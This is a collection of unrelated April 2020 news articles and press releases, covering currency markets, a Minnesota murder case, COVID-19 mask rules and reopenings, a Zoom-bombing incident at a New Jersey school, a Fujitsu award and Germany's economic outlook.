"We wouldn't draw too many conclusions about the state of the currency market over the next few sessions given the mingling of policy and technical drivers," McCormick said. The dollar index fell 0.16% to 99.88. It has risen from 99.00 at the end of March. The Swedish crown jumped against the dollar and euro on Tuesday after the central bank held interest rates steady and maintained stimulus measures designed to support an economy battered by the coronavirus pandemic. The greenback fell 0.92% to 9.911 crowns, after earlier getting as low as 9.853, the lowest since March 30. With Sweden facing its worst downturn since World War Two, investors had watched closely for any sign the Riksbank would push rates back below zero after it became the first central bank to ditch a negative interest rate policy late last year. But the Riksbank left its benchmark rate at 0%, as expected, with its governor saying a rate cut would not solve Sweden's economic problems. "It's hard not to see this as a bit hawkish - you'd think that if they didn't cut rates now, when would they cut?" said Morten Lund, FX strategist at Nordea, adding that he expected rates to remain steady this year and next. Traders are next focused on a U.S. Federal Reserve meeting that will end on Wednesday and a European Central Bank (ECB) meeting on Thursday. The Fed has led the global monetary policy response to the coronavirus pandemic by cutting interest rates to zero and aggressively buying bonds and corporate credit - a program it extended on Monday to include municipal debt of smaller U.S. cities. Authorities in Minnesota confirmed that the human remains found in a landfill last week are those of a missing Minnesota woman. The Ramsey County Medical Examiners Office on Monday identified the remains as those of 19-year-old Dystynee Avery. Avery was last seen on April 3. Her mother, Doreen, alerted authorities after she got worried when she hadnt heard from her daughter who usually calls every day to check-in. Its not like her not to call me, not like her not to blow up my phone or blow up her dads phone, Doreen said, reported TooFab. Ethan Broad, 27, of Moorhead, was charged on April 20 in Clay County court with second-degree murder. Avery had been staying with Broad, her family said, adding that they considered Broad a friend of Avery and a good guy. Authorities said Broad admitted to killing and dismembering Averys body and placing the body parts in dumpsters near his apartment. Broad initially claimed someone else hit Avery with a lead pipe and slit her throat in the bathroom of his apartment. He later admitted to killing her himself, but claimed it was out of self-defense during an argument they had at the apartment, The Associated Press reported. Broad is currently held on a $1 million bond at Clay County Jail. He faces up to 40 years in prison if convicted. Averys sister, Valarie Parker, thanked everyone who worked day-in and day-out on her sisters case. Im glad that we have justice, and Im glad that she can be able to come home and be laid to rest the proper way, she told the Inforum. Murder Cover-Up Three additional suspects who are believed to be connected to the murder have also been arrested. Brandon Everett Leroy Erbstoesser, 33, was arrested on April 24 and charged with two felony counts of second-degree aiding an offender with murder, prosecutors said in court documents. Erbstoesser admitted that he advised Broad he should report the victim as missing, tell her family she ran away, hide or destroy her property and refrain from any electronic communication regarding the incident, according to a complaint reported by the Inforum. Two other suspects, identified as 22-year-old David Marvin Erno and 26-year-old Andrea Payne, both of Moorhead were arrested on April 21. Both suspects face one count of aiding in murder. Payne initially told police she was not involved in the murder, but later acknowledged she was part of the cover-up. She was living together with Broad and Avery at the time of the murder. Both Payne and Erno are currently being held at the Clay County Jail on a $500,000 bail. The Associated Press contributed to this report. MUNDELEIN, Ill., April 28, 2020 /PRNewswire/ -- Utopia Global, Inc., a Mundelein, IL based enterprise data management company, and an SAP Solution Extension partner, today delivered 500 pizzas to healthcare professionals at Advocate Condell Medical Center in Libertyville, IL to thank them for their efforts. In response to the COVID-19 pandemic, Utopia Global launched a community support initiative called Utopia CARES (uCARES). uCARES is focused on supporting local communities and hospital workers that are fighting on the front lines of the emergency medical response. "Utopia has a long history of contributing to our communities around the globe through our 'Joy of Giving' annual initiative. uCARES was created specifically to help respond to the COVID-19 challenges in our communities," said Arvind J. Singh, CEO at Utopia Global, Inc. "The opportunity to deliver 500 pizzas to Advocate Condell Medical Center was an honor, and a very small token of our gratitude to the real heroes on the frontlines - the doctors, nurses, therapists, technicians, support staff and admins who risk their personal safety every day to take care of thousands of patients," added Singh. "We're incredibly grateful to Utopia for their generous meal donation," said Matthew Primack, President, Advocate Condell Medical Center. "The ongoing outpouring of support from the community has been truly inspiring to our front line doctors, nurses, and team members as they navigate care for those impacted by COVID-19," concluded Primack. uCARES is also supporting locally owned businesses and we were delighted to partner with Jim Gronemann, an independent owner of Domino's Pizza in our community. "We are thrilled to be partnering with Utopia," said Gronemann. "When Utopia approached us, the timing was perfect, as we had been reviewing a few ways to support our local healthcare workers in response to COVID-19. When Utopia said their goal was 500 pizzas in one day, we knew we had found the right partner," added Gronemann. In addition to supporting local businesses, and hospital staff, Utopia is also leveraging nearly two decades of data management expertise to offer North American health organizations complimentary data cross-referencing solutions. Powered by machine learning, these solutions accelerate the identification of critical equipment and supplies from vendors, and between hospitals, to allow for uninterrupted services and critical care. About Utopia Utopia Global, Inc. is a leading global data solutions company. Utopia's full suite of propriety software and consulting services enable enterprise-class clients to build, fix, and sustain high integrity data that serves as the foundation for their digital transformation initiatives. As SAP's worldwide partner for master data governance, Utopia is the exclusive developer of solution extensions for SAP Master Data Governance. Utopia's solutions portfolio helps organizations migrate to SAP S/4HANA leveraging MDG as the bridge, and maintain data integrity between digital twins, across multiple systems of record. With over 17 years of innovative breakthroughs, Utopia firmly believes that "Perfect Data is Perfectly Possible." For further information, please visit www.utopiainc.com. Multimedia from the Event Raw Photos Raw Video 15sec Prepared Video All photos and videos are the sole property of Utopia Global, Inc. Utopia Global, Inc. provides express written consent for any or all of these photos or images to be used, edited for duration, and reproduced. SAP, SAP S/4HANA, and other SAP products and services mentioned herein as well as their respective logos are trademarks or registered trademarks of SAP SE (or an SAP affiliate company) in Germany and other countries. All other product and service names mentioned are the trademarks of their respective companies. SOURCE Utopia Global, Inc. Related Links https://www.utopiainc.com Metro Manila (CNN Philippines, April 28) Air travelers can expect drastic changes at the countrys gateway when airlines resume flights after lockdown. AirAsia Philippines chief executive officer Ricky Isla told CNN Philippines that airline companies and air travel regulators are in close coordination as they craft new safety protocols that go beyond wearing face masks. Theres social distancing, theres what you call paperless boarding, theres also the use of more customer machines and kiosks at the airport, Isla said in an interview. So theres going to be a lot of educational tools passed over to the customers, like the QR method, he added. Isla said that temperature checks and social distancing will be practiced from the moment the traveler enters the airport and at different points until boarding the aircraft. When asked if airlines will be reducing the number of passengers onboard to keep with social distancing, Isla said that all members of the Air Carriers Association of the Philippines (Acap), which include Philippine Airlines, Cebu Pacific Air and AirAsia Philippines, are strictly using HEPA filters to ensure clean air within their aircraft. According to the International Air Transport Association (IATA), the HEPA or high efficiency particulate air filters are similar to those used to keep the air clean in hospital operating rooms and industrial clean rooms. The HEPA filters are effective at capturing more than 99 percent of the airborne microbes in the filtered air, the IATA said. That therefore gives us the confidence level that even without the vacant seat in the middle, the strong effect or very clinical effect that cleanses the air, the HEPA filters will be very effective, Isla said. And all our cabin crews will have the right gadgets, the right PPEs (personal protective equipment), he added. Isla also clarified that AirAsia Philippines will not be operating all their flights by May 15. We will start by launching a small percentage, almost like 20 to 30 percent of our domestic flights, as a testing ground, Isla said. When asked if air travellers can expect higher airfares in May, Isla said there has to be a review of pricing at this point. Meanwhile, Philippine Airlines Spokesperson Cielo Villaluna told CNN Philippines that social distancing will be enforced both during the flight and at the pre-flight stage. "There will be adjustments in food service, in the number of reading materials loaded," Villaluna said. Villaluna added that Philippine Airlines is still finalizing the routes they will be operating from May 16 onwards. "If your flight is cancelled, we assure you that your ticket is safe and remains valid," Villaluna said. "We've enhanced our policies to give you more flexibility due to the evolving COVID-19 situation." There is nothing wrong about them learning the dictates of their faith. But we must prepare them equally for the future. Equip them, skill them so that they can become educated in their state and also productive citizens in the future, if not we are building an army that would overwhelm us in the future. So, I want to believe that the actions that have been taken by these governors are in context to provide for the security and the welfare, realising that virtually all of them are minors. Cannabis stocks have been part of an extended bear market. Shares of most pot companies have been pummelled in the last 15 months. Marijuana heavyweight Canopy Growth (TSX:WEED)(NYSE:CGC) has lost over 70% in market value since September 2018. Several pot stocks were trading at sky-high valuations after Canada legalized the use of recreational cannabis. While investors were worried about soaring valuations, this industry was severely impacted due to a range of structural issues. As cannabis is a highly regulated industry, retail licenses are not given out easily. The slow rollout of retail stores in major Canadian provinces has resulted in lower than expected demand, driving inventory levels higher and profit margins lower for several pot stocks. The COVID-19 pandemic has further dented the key financial metrics of these organizations. Many cannabis companies are running out of cash, and the current uncertain environment will make it difficult to raise debt or equity capital. So, are stocks like Canopy Growth an attractive buy right now after falling 70% from all-time highs? Canopy Growth streamlines operations On April 16, Canopy Growth announced operational changes aimed at optimizing production and align supply with demand. It plans to exit operations in South Africa and will transfer ownership of its African operations to a local business. The company will also shut down its indoor facility in Saskatchewan to better align production in line with domestic demand. In Latin America, it will cease operations at its cultivation facility in Colombia and move to an asset-light model. Canopy Growth will also cease operations in its New York facility due to an abundance of hemp production in 2019. In March 2020, Canopy Growth also announced 500 job cuts. These restructuring efforts are aimed at lowering the companys cost structure and reducing cash burn. Newly appointed CEO wants to optimize operations CEO David Klein took over the reins as Canopy Growths CEO earlier this year. Klein was previously the CFO of Constellation Brands, a company that pumped in $4 billion into Canopy for a 38% stake back in 2018. Story continues As a former CFO, Klein has trained his guns on optimizing the companys cost structure. Canopy Growth will now primarily focus on Canadian operations that account for the majority of sales. In the last three quarters, international sales accounted for 14.6% of total revenue. So, the above-mentioned exits will not have a significant impact on Canopys top-line. Whats next for Canopy Growth investors? Despite the 70% decline in valuation, however, Canopy Growth is still trading at a market cap of $7.65 billion, making it one of the largest players in the cannabis space. It is backed by Constellation Brands that continues to allocate resources to the cannabis giant. The COVID-19 is expected to be a temporary headwind, and demand should pick up in the second half of 2020. The cannabis market is still in its nascent stage and is expected to grow at a fast clip in the upcoming decade. The market opportunity in the edibles space, increase in retail stores, leadership position and expanding addressable market make Canopy Growth a solid pick for long-term investors. The post Is Canopy Growth (TSX:WEED) Stock a Buy Right Now? appeared first on The Motley Fool Canada. More reading Fool contributor Aditya Raghunath has no position in any of the stocks mentioned. The Motley Fools purpose is to help the world invest, better. Click here now for your free subscription to Take Stock, The Motley Fool Canadas free investing newsletter. Packed with stock ideas and investing advice, it is essential reading for anyone looking to build and grow their wealth in the years ahead. Motley Fool Canada 2020 Masks or face coverings are required in all public places in Birmingham effective May 1. The Birmingham City Council on Tuesday morning approved the ordinance requiring face coverings for all 2 and older. In the initial vote, the ordinance was unanimously approved. However, later in the meeting after an executive session, District 2 councilor Hunter Williams changed his vote to no. I voted no because I thought it was an government overstep to have such a hefty fine, especially dealing with parents of small children, Williams said in an email to AL.com. The ordinance defines a mask as A device to cover the nose and mouth of a person to impede the spread of saliva or other fluids during speaking, coughing, sneezing or other intentional or involuntary action. It doesnt require the masks be medical-grade, just that they cover the wearers nose and mouth. The masks must be worn in all public places, which the ordinance defines as anywhere outside the persons vehicle or home. Youre not required to wear a mask when exercising outdoors, but a mask is required if youre encountering and interacting with groups of other people in a park or other public place. While children 2 and older are required to wear a mask, the ordinance recognizes a mask can cause a choking hazard for young children. The ordinance suggests parents and guardians use a stroller with a covering so children can breathe freely. It suggests keeping children who dont want to wear a mask at home. Business owners will also be required to make employees wear masks while at work. However, the ordinance says this shall not be interpreted as requiring businesses to provide face coverings or masks to employees. Failure to comply with this ordinance is punishable by a fine of up to $500 and/or up to 30 days in the municipal jail. Woodfin says a violation of the ordinance should be treated like a curfew violation. Violators will be allowed to either pay a fine or appear in court. Woodfin has not extended the citys shelter-in-place order. Its set to expire April 30. Read the ordinance here: Updated at 4:06 p.m. to add that Councilor Hunter Williams officially changed his vote to no later in the council meeting. Yuichiro Ajima Application example of this technology: 6D mesh/torus(2) TOKYO, Apr 28, 2020 - (JCN Newswire) - Fujitsu today announced that its employee, Yuichiro Ajima, will be awarded the Medal with Purple Ribbon in the 2020 Spring Conferment for his contribution development of science and technology in Japan, by inventing a technology that can construct a large-scale parallel computer by connecting tens of thousands of processors at high dimension. This technology enables high-speed computational processing, as it is implemented in the supercomputer Fugaku and K computer jointly developed by Fujitsu and RIKEN, as well as in the Fujitsu Supercomputer PRIMEHPC FX1000 and its predecessors.Award Summary1. Project Name Development of high-dimensional interconnect technology for massively parallel computers2. Recipient Yuichiro AjimaSenior Architect, System Development Division, Platform Development UnitFujitsu Limited3. Other Awards Received by Yuichiro Ajima- 2012 - Ichimura Prize in Industry for Distinguished Achievement- 2014 - Imperial Invention Prize, the National Commendation for Invention- 2017 - Prize for Science and Technology (Development Category),Commendation for Science and Technology by the Minister of Education, Culture, Sports, Science and Technology4. Summary of AccomplishmentToday, the world's leading supercomputer systems use massively parallel computers that connect tens of thousands of processors to perform parallel calculations. In such a system, each processor exchanges data including calculation results with each other to realize large-scale simulation processing. However, there were problems as well, as communication between processors were interfered by other parallel programs which were simultaneously executed, and the system's performance or availability deteriorated when some processors failed.To overcome such challenges, Fujitsu invented high-dimensional interconnect technology(1) which makes more processors adjacent to each other by increasing communication paths. This has enabled the connection of more than 100,000 processors. Also in the event of a processor failure, the technology can reduce data traffic congestion by excluding the failed location from the virtual three-dimensional space and minimize partition isolation for maintenance replacement.This technology is applied to the supercomputer 'K computer', which was designed to simultaneously process various scientific and technological calculations, and its successor Fugaku. In particular, the system availability of the K computer exceeded 97% excluding the scheduled maintenance period, and significantly contributed to the development of science and technology in Japan. This development is also utilized for models of Fujitsu Supercomputer PRIMEHPC FX1000, which are being installed in research facilities worldwide.Details of high-dimensional interconnect technologyWhen researchers started developing this technology in 2006, the mainstream supercomputers for massively parallel computing were 3D mesh connections, in which processors were interconnected in a grid pattern in 3 directions (vertical axis, horizontal axis, and depth), as well as 3D torus connections, in which the ends of grids in all directions are connected to form rings.In a supercomputer system, if a processor fails, it is common to isolate the failed processor and maintain the operation of the entire system. However, the conventional method of connecting partitions to each other with a dedicated partitioning switch had a problem, as partitions were isolated on a per-partition basis. This meant that many unbroken processors were isolated until system maintenance, reducing system availability.With high-dimensional interconnect technology, Fujitsu extended the dimension by connecting a 3D torus to a group of processors connected by a small 3D grid. Because such group can be partitioned at an arbitrary position and the units of the partitions are small, this technology can execute various parallel programs simultaneously and efficiently. The computing performance will improve, as the technology eliminates the need for a partitioning switch, and all of the increased connections due to higher dimensions can be used as communication paths. The technology also enables isolation within partitions as well as on a per-partition basis during system failure, by regarding the inter-group connection ring and the one-stroke writing on the intra-group grid structure as virtual loop connections. This technology enables flexible partitioning in addition to the simultaneous execution of various parallel computing programs in a massively parallel computer.About the Medal with Purple RibbonThe Medal of Honor with Purple Ribbon award is a national honor bestowed upon individuals who have contributed inventions or discoveries in the field of scientific, as well as outstanding accomplishments in academics, arts and culture, or sports.(1) High-dimensional interconnects technology Computer systems and the method of controlling such systems (Patent No. JP5212469).(2) 6D mesh/torus Three dimensions in the X, Y, and Z directions represent the connection rings between the groups, and three dimensions of A, B, and C represent the grid structure in the group. In this example, the size of the grid structure in the group is two processors (A) x three processors (B) x two processors (C).About FujitsuFujitsu is the leading Japanese information and communication technology (ICT) company, offering a full range of technology products, solutions, and services. Approximately 132,000 Fujitsu people support customers in more than 100 countries. We use our experience and the power of ICT to shape the future of society with our customers. Fujitsu Limited (Code: 6702) reported consolidated revenues of 4.0 trillion yen (US $36 billion) for the fiscal year ended March 31, 2019. For more information, please see www.fujitsu.com.Source: Fujitsu LtdCopyright 2020 JCN Newswire . All rights reserved. A cancer survivor who is set to become a mother after her long-lost cousin offered to become her surrogate fears she could miss the birth due to social distancing. Olivia, 31, and Sam Rowlands, 30, from St Andrews, Scotland, are expecting a baby girl in July, yet lockdown has meant the couple have missed precious pregnancy moments - including hearing their daughter's heartbeat for the very time. Primary school teacher Olivia was diagnosed with stage 3 bowel cancer in 2017, aged just 29, leaving her unable to carry her own child after 29 radiotherapy sessions onset early menopause. Undeterred, prior to undergoing her lifesaving treatment, Olivia underwent surgery to harvest her eggs in the hope she and her husband Sam would find a surrogate to fulfill their dream of starting a family. The couple then had four embryos frozen at Ninewells Hospital in Dundee in January 2018, before Olivia's womb was damaged by the cancer treatment. And after launching an online appeal to find the perfect match, with more than 100 applicants, the couple received a message from Ellie Hutchinson, 34, from Stirling, who turned out be Olivia's distant cousin. Olivia, 31, and Sam Rowlands, 30, from St Andrews, Scotland, are expecting a baby girl in July, but fear they may miss the birth due to the social distancing rules. Pictured, Olivia (left) with her cousin Ellie Hutchinson (right), who is the couple's surrogate The cousins have now become incredibly close, despite Olivia, who was raised in Dubai, not seeing Ellie since she was one year old. Despite a miscarriage scare in November, Olivia and Sam are now 28 weeks pregnant, but are having to keep in touch with their unborn child through a screen and are unable to attend the next scan. 'We have FaceTime and photos but it has meant we have missed appointments - like the one where we would hear the heartbeat for the first time,' Olivia said, speaking to BBC Radio Scotland. 'But Ellie was amazing and recorded it and sent it to us straight to us after the appointment finished.' Olivia and her husband Sam (pictured together) fear they may miss the birth of their baby daughter Olivia (pictured) waking up from surgery to remove the tumour in February. Although the tumour was large, Olivia's consultant said doctors were prepared to try to remove some of it through surgery And the couple have revealed that they may miss the caesarean section with Olivia describing her 'frustration' at their baby not being able to hear their voices. Olivia, who was given the all-clear from bowel cancer in August 2018, revealed how the couple have not seen Ellie for two months now after she went into self-isolation early to protect the baby's health. The mother-to-be said: 'I'm a positive person but there have been times I have been frustrated, not being able to see her and seeing our bump and also knowing she is not able to hear our voices and music we listen to.' However, Olivia added the couple have created a playlist for their unborn daughter, which Ellie plays through headphones on her bump. Speaking to The Courier, she continued: 'We are in constant contact with Ellie but I do have my days where I wish I was carrying her or that we could see her and let our little girl hear our voices. 'Mostly I'm pretty positive, I know it's the right thing to do. The rules are there for a reason and we are keeping them safe.' The couple have created a playlist for their unborn daughter, which Ellie plays through headphones on her bump. Pictured in December 2016 Olivia (pictured) in hospital with husband Sam on the day she was diagnosed with bowel cancer Olivia and gym owner Sam will also miss the meeting with their consultant to discuss plans for the C-section where the couple would find out the date of the birth and who can be in the theatre. She explained the surrogacy journey is 'complicated' without the added pressure of coronavirus, and the couple hope that lockdown restrictions will be eased by July. Olivia expressed how with less than three months to go, the couple can cope with video calls to bond with their baby and look forward to creating memories as a family in the future. Surrogacy laws in the UK stipulate that the birth mother will legally be the parent before legal parenthood can be transferred by a parental order or adoption after the child is born. Olivia explained how they have 'everything in place' to take their daughter home following the birth so long as coronavirus restrictions do not stop them. JetBlue Airways will require passengers to wear face masks or other face coverings beginning May 4, becoming the first U.S. airline to do so as the coronavirus pandemic continues. The move by the New York-based airline comes amid increasing calls from airline union leaders, consumer groups and elected officials about the need for face coverings to help slow the spread of the virus and, eventually, reassure travelers it is safe to fly. On Monday,Rep. Steve Cohen, D-Tenn., a member on the aviation subcommittee of the House Committee on Transportation and Infrastructure, sent a letter to FAA administrator Stephen Dickson, Centers for Disease Control and Prevention director Robert Redfield, Secretary of Transportation Elaine Chao and Health and Human Services Secretary Alex Azar, urging them to require face masks. Cohen said he flew from Washington, D.C., to Charlotte, North Carolina, on American Airlines last week and noticed some flight attendants and passengers without face masks. The result, he said: "Each persons health and safety was unnecessarily put at risk.'' JetBlue is the first U.S. airline to require passengers to wear face masks on all its flights. "We know that masks are one of the most effective tools to mitigate peoples risk of exposure when those around them are also wearing masks,'' Cohen said in the letter. "As air travel continues to increase while the country slowly starts to reopen, its imperative that the flying public feel safe and comfortable in doing so. This should include the requirement of masks, which will accomplish this goal and protect both crew members and passengers.'' Canada is a step ahead of the United States in flight safety moves as the coronavirus crisis continues, last week adding a new policy that requires air travelers to cover their faces at the airport and on planes. JetBlue said its decision is based on guidelines from the CDC encouraging all individuals to wear a face covering in public to help slow the spread of the coronavirus. The airline has required that flight attendants wear masks since April 19, joining United, Frontier, Delta and American. Delta and American announced new policies on that front Monday. Story continues Wearing a face covering isnt about protecting yourself, its about protecting those around you, Joanna Geraghty, JetBlue's president and chief operating officer, said in a statement announcing the change. "This is the new flying etiquette. Onboard, cabin air is well circulated and cleaned through filters every few minutes but this is a shared space where we have to be considerate of others. We are also asking our customers to follow these CDC guidelines in the airport as well. A traveler wearing a face mask pulls her baggage to a gate to catch a flight out of Colorado Springs, Colo., on April 24, 2020. JetBlue passengers will have to wear a masks or other face covering during airport check-in, on the plane and when they get off the plane. The airline said it will notify passengers about the new requirement via email before their flight and at the airport. One exception: small children who are not able to keep a face mask on. JetBlue said it will have a small number of masks for passengers who don't bring their own. Sara Nelson, international president of the Association of Flight Attendants-CWA, praised JetBlue's face mask requirement and renewed her call for the DOT and HHS to require all airlines to require passengers wear face masks. Passengers, most wearing face masks, enter the main terminal after arriving at Denver International Airport on April 23, 2020. "All airlines should follow JetBlue's lead, including its efforts to fully communicate the change before it becomes effective next week so that flight attendants are not put in the position of being enforcers without information and backing from the airline,'' Nelson said in a statement late Monday. Delta, which recommends travelers wear a mask but hasn't made it a requirement yet, has been providing masks to travelers who don't bring them. And American Airlines said on Monday that it will begin offering face masks and sanitizing wipes or gels to passengers in early May. We are looking out for our customers well-being to give them peace of mind while they travel with us, Kurt Stache, American's senior vice president of customer experience, said in a statement. "Were moving quickly on these enhancements and well continue to improve the travel experience for our customers and team members as we navigate these times together. This article originally appeared on USA TODAY: JetBlue Airways to require travelers to wear face masks amid pandemic Following the continuing directives and efforts of the Saudi Arabian Government to safeguard its citizens and residents in the kingdom, Fawaz Abdulaziz Alhokair Co. has announced it will reopen its fashion and other retail units effective from April 29, except for its outlets in Makkah. The company stated that the health and safety of its customers and employees continues to be of paramount importance and that it is working to ensure the cleanliness and sterilisation of its stores in readiness for reopening and helping its retail partners prepare. Stores reopening in shopping centres will be open from 9.30am to 4.30pm daily and the companys food and beverage outlets will remain available through mobile apps for delivery from 3.00pm to 3.00am. A smaller number of retail units that operate in street locations have already reopened. Fawaz Abdulaziz Al Hokair wants to thank the authorities and the Ministry of Health for its efforts and actions that have helped create such favourable conditions, and one of the safest situations globally, to enable us to resume our business operations ahead of most countries, said Marwan Moukarzel, CEO, of Fawaz Abdulaziz Al Hokair. In preparation for opening we are working closely with our partners to ensure the highest standards of health and safety are in place. During the ongoing crisis, the safety of our customers and staff has been our priority and we look forward to welcoming our customers back to enjoy shopping during the Holy Month of Ramadan." We would request our customers to please take note of the Governments health and safety precautions to wear a mask and gloves and to ensure appropriate social distancing is observed while shopping, Al Hokair said. As part of the ongoing measures to prevent the spread of Covid-19 and as part of the reopening programme, no refund or exchange of goods will be permitted during this period; changing rooms will be closed always and contactless payments by credit or debit card are encouraged. Fawaz Abdulaziz Al Hokair operates 1,550 stores across Saudi Arabia. - TradeArabia News Service A hacker showed inappropriate content during a New Jersey schools class being conducted on Zoom, the online video conferencing service that has soared in popularity during online learning due to the coronavirus pandemic. The district, Lumberton Township Public Schools in Burlington County, will halt using Zoom while they investigate, the district said Monday. In a letter sent to the school community, Superintendent of Schools Joe Langowski said a hacker gained access to a Lumberton Middle School session. Once inside the Zoom meeting, the hacker then proceeded to show pornographic images and used racist language. The incident was estimated to have lasted for 15 seconds, he wrote. Langowski said a teacher and co-host who were monitoring the meetings waiting room ended the hackers session immediately and proceeded to notify members of the school districts administration. We have worked tirelessly to develop a superior educational experience for the children of Lumberton in these most difficult times, but as always, the safety of our children is paramount, Langowski wrote. Therefore, we will be suspending the use of Zoom temporarily while we determine if it can continue to be used safely for our students. The Lumberton Township Police Department has initiated an investigation, and the districts technology department is investigating what led to the intrusion and how the person was able to bypass security measures that were in place. The Federal Bureau of Investigation (FBI) had previously issued a warning about hackers who were trying to gain access to Zoom meetings, which is called Zoom bombing. The company, in a statement, said upset to hear about such an incident and condemns such behavior. They recently updated several features to help users of the K-12 program, and the Free Basic and Single Pro versions more easily protect their meetings, a Zoom spokesperson said. Zoom is committed to providing educators with the tools and resources they need on a safe and secure platform, and we are continuing to engage with all of our users on how they can best use Zoom and protect their meetings, the statement said. Thank you for relying on us to provide the journalism you can trust. Please consider supporting NJ.com with a voluntary subscription. Chris Franklin may be reached at cfranklin@njadvancemedia.com. Kansas City Kegger Crash Kegs left unused at local businesses could send profits down the drain RAYTOWN, MO (KCTV) - It is a desolate scene at many breweries during what should be a bustling beer season. At Crane Brewing in Raytown, the packaging is done by co-founder Chris Meyers and one employee is up front, hardly the experience Meyers would be expecting this time of year. Leading Local News Nick's Picks: Reopening the Economy, Getting Tested, Kansas Primary Here's your guide to the week ahead in Kansas City. That's our watchword for this upcoming week. Missouri Gov. Mike Parson and Kansas Gov. Laura Kelly are both promising this week to release plans for reopening their states. What do you think should open first? Fanboy Fantasy For Sale Mahomes offers up KC game day experience in All-In Challenge KANSAS CITY, Mo. - Actors, musicians and athletes are participating in the All-In Challenge to benefit COVID-19 relief funds and the Chiefs' Patrick Mahomes has joined the cause as well. He tweeted out this message Monday from his 15 and the Mahomes Twitter account. Playboy Opens Part Deux What Will an All-Digital Playboy Look Like? As American life ground to a halt last month, as we seem to have become fond of phrasing it, so too did one of its longtime cultural signifiers. On March 18, amid a slew of endings, closures and deaths both literal and figurative, Playboy announced it would be ceasing publication of its print magazine with the Spring 2020 issue. Prez Trump Chatter Contd Trump returns to White House briefing, subdued but no less sorry His autocratic tendencies are well-known. His sudden absence from public view prompted fierce speculation and rumour. One headline suggested that he was "brain-dead". The North Korean leader Kim Jong-un's whereabouts remain unknown. But after a lost weekend, Donald Trump bounced back into the spotlight on Monday determined to prove that he is not only healthy but working very, very hard. Deets Against Veep Backed Up A former neighbor of Joe Biden's accuser Tara Reade has come forward to corroborate her sexual assault account, saying Reade discussed the allegations in detail in the mid-1990s Tara Reade, a former staffer in Joe Biden's Senate office, has accused the Democratic presidential nominee of sexually assaulting her in a congressional hallway in 1993. Now Reade's former neighbor Lynda LaCasse, a Biden supporter, tells Insider that Reade told her about the alleged assault in detail in 1995 or 1996: "This happened, and I know it did because I remember talking about it." Truth Is Out There . . . 'The American people deserve to be informed': Harry Reid says UFO footage 'only scratches the surface' Former Senate Majority Leader Harry Reid praised the Pentagon's release of UFO footage but said it "only scratches the surface" of information the public should know. "I'm glad the Pentagon is finally releasing this footage, but it only scratches the surface of research and materials available," the Nevada Democrat tweeted Monday. Civilization Declines South Of The Border During Pandemic El Salvador lines up semi-naked gang members for grim prison photos IZALCO, El Salvador (Reuters) - Right groups condemned El Salvador's president on Monday for releasing startling photos of hundreds of jailed gang members stripped to underwear and pressed together in formation, part of a punishment for an outbreak of violence. Urban Talkers Cut Loose Fox News Cuts Ties With Diamond & Silk Fox News has cut ties with MAGA vlogging superstars Diamond & Silk, who had contributed original content to the network's streaming service Fox Nation since shortly after its late 2018 launch. The sudden split comes after the Trump-boosting siblings have come under fire for promoting conspiracy theories and disinformation about the coronavirus. Local Hero Nurse Postscript Kansas City Nurse Dies from Coronavirus After 40 Years on the Job: 'The World Lost a Good One' After 40 years on the job, a Kansas City nurse died after testing positive for coronavirus. Celia Yap-Banago, who worked for Missouri's Research Medical Center, was exposed to the virus after caring for an infected patient, according to National Nurses United, the largest union of nurses in the country. Chiefs Merch For Good Cause Chiefs sell 2020 Red Friday flags early to benefit Ronald McDonald House Charities KANSAS CITY, Mo. - "Red Friday came early," according to the Kansas City Chiefs. The team is selling a limited number of 2020 Red Friday flags early for a good cause. The Chiefs said the $10 dollar flags are available for pre-sale and all net proceeds will go to Ronald McDonald House Charities of Kansas City. Local Weather For Now Severe storms possible Tuesday afternoon Hide Transcript Show Transcript NINE-DAY FORECAST SO YOU'LL KNOW THIS IS FIRST ALERT WEATHER. TODAY, SOME BEAUTIFUL WEATHER. SOME SUNSHINE AFTER THE RAIN WE HD THIS MORNING AND LOOK OUTSIDE RIGHT NOW FROM THE DOWNTOWN MARRIOTT. YOU CAN SEE WE HAVE A SUNNI SKY. 74 DEGREES FOR OUR CURRENT TEMPERATURE. We start the news day inspired bywho helps us cope with the bygone days of Playboy print as we check community news, pop culture and info from across the nation and around the world.is the Tuesday song of the day and this is thefor right now . . . The German economy is on course to shrink by 6.6 per cent this year after demand for exports collapsed amid the coronavirus pandemic, researchers have warned. Europe's largest economy shrank by 1.9 per cent in the first three months of this year and will contract by a further 12.2 per cent in the next quarter, the respected IFO Institute reported Tuesday. The decline would be the largest the Germany economy has suffered since 1949 and would not be reversed until the end of 2021 at the earliest, researchers said. The German economy is expected to shrink by 6.6 per cent this year after a collapse in demand for exports, researchers have warned (pictured, a worker at the VW factory in Wolfsburg) A graph based on a survey of 2,300 German businesses and their export orders for the next three months. The point score on the left-hand side represents the difference between businesses which said their exports were increasing and those who said it is declining It comes after IFO reported a collapse in demand for German exports, on which the country's economy heavily relies. Export expectations fell across almost all sectors, with the car industry especially badly affected. Mechanical engineering and textiles were also badly hit, while chemicals and electrical engineering sectors reported only modest declines. The dire economic news comes as Germany attempts to feel its way out of lockdown after the number of new coronavirus cases and deaths declined significantly from the peak of infection around a month ago. The Robert Koch Institute reported 1,114 new cases of the virus Tuesday - up slightly from Monday's figure but still well below the peak of 6,294 on March 28. Germany reported 1,114 new cases of coronavirus on Tuesday - a slight increase on the previous daily total but far below the peak of infection Germany also reported another 163 deaths from the virus, an increase on the previous daily figure of 110 but also far below its peak German Economy Minister Peter Altmaier has warned the country's gastronomy sector may need a bailout, on top of a 650billion stimulus package for the rest of the economy Another 163 deaths from the disease were also logged Tuesday, also a slight increase from the 110 reported Monday but well below the peak of 315 on April 16. The country has confirmed 156,337 cases of the virus since the start of its outbreak while a total of 5,913 people have died. Declining figures have prompted German states to begin reopening non-essential businesses, though Chancellor Angela Merkel has warned the lockdown will return if cases begin spreading out of control once more. Berlin Zoo began accepting guests on Tuesday as staff wearing face protectors and masks scanned their entry tickets. Meanwhile warning signs around the zoo urged guests to 'take care of each other' and observe social distancing while visiting. Germany zoos have been particularly badly affected after the usually-busy spring period was wiped out by coronavirus lockdown measures. The head of Neumunster Zoo even warned that she may have to start killing animals and feeding them to each-other to survive. Meanwhile German Economy Minister Peter Altmaier warned that the country's gastronomy sector may need a bailout to keep going. A family poses for a selfie in front of elephants at Berlin Zoo after it reopened to guests on Tuesday as Germany eases out of lockdown A sign at Berlin Zoo urging guests to 'look after each other' and observe social distancing rules during their visit A zoo worker wearing a face shield to protect against coronavirus scans guest's tickets as they enter the park on Tuesday The government has already made loans and a short-time work scheme available to the sector and leaders of Chancellor Angela Merkel's coalition have agreed to reduce sales tax on meals to 7 per cent for a year, said 